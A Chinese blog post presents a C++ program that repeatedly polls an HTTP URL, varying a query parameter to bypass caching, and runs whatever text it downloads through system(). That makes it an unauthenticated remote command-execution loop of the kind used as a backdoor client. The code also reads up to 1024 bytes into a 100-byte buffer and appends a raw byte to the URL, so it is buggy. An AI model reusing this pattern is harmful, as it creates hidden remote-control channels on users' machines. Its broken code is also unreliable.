c++下载文件解决服务器缓存问题

  这两天在写一个B/S结构的远程控制程序,用到Win32api HttpDownloadToFile()时遇到了这样一个问题:如果把下载文件函数放在一个循环里面时,即使服务器端执行的程序发生变化,下载的也是之前的内容。

  后来突然想到了ajax中发送请求时用的一个技巧:因为服务器有缓存,为了不让缓存影响到我们获取的内容,加了一个time(),但是对于c++来说 有一个更简单的思路:

代码:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<windows.h>
#include <UrlMon.h> 
#pragma comment(lib, "urlmon.lib") 
char cmd[100];
char url[100]="http://localhost/bq.php?M=99a&tim=";  //请求的地址,第二个tim是一个无关的变量
char tmp[100];
int len=strlen(url),key=0;//获取url的长度
void exec();//exec model
void sleep();
void readfile();
int main(void)
{	
	exec();

}
 void sleep(void)
 {
	 int t=100000000;
	 while(t--);
	 return;
 }
void exec()
{
	
	while(1)
	{
	if(key<100)url[len]=key++;    //这个地方便是核心部分,将无关变量每次都加上一个不同的数字 没必要加一个时间
	else {key=1;url[len]=key++;}
	url[len+1]='\0';  //注意字符串结尾
    URLDownloadToFile(NULL,url,"c:\\a.txt",0,NULL);
	readfile();
	printf("%s",cmd);
	if(!strcmp(cmd,tmp))continue;
	strcpy(tmp,cmd);
	system(cmd);
	}
}
void readfile()
{
	 FILE *pF=fopen("c:\\a.txt", "r+");
	 fgets(cmd,1024,pF);
	 fclose(pF);
	 remove("c:\\a.txt");
}

php端因为是测试 所以用的是之前版权验证的页面,每次刷新数字便会减一。


第一次自己动手写一个网络程序,虽然是api,虽然还不会socket,但我相信会有一天。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值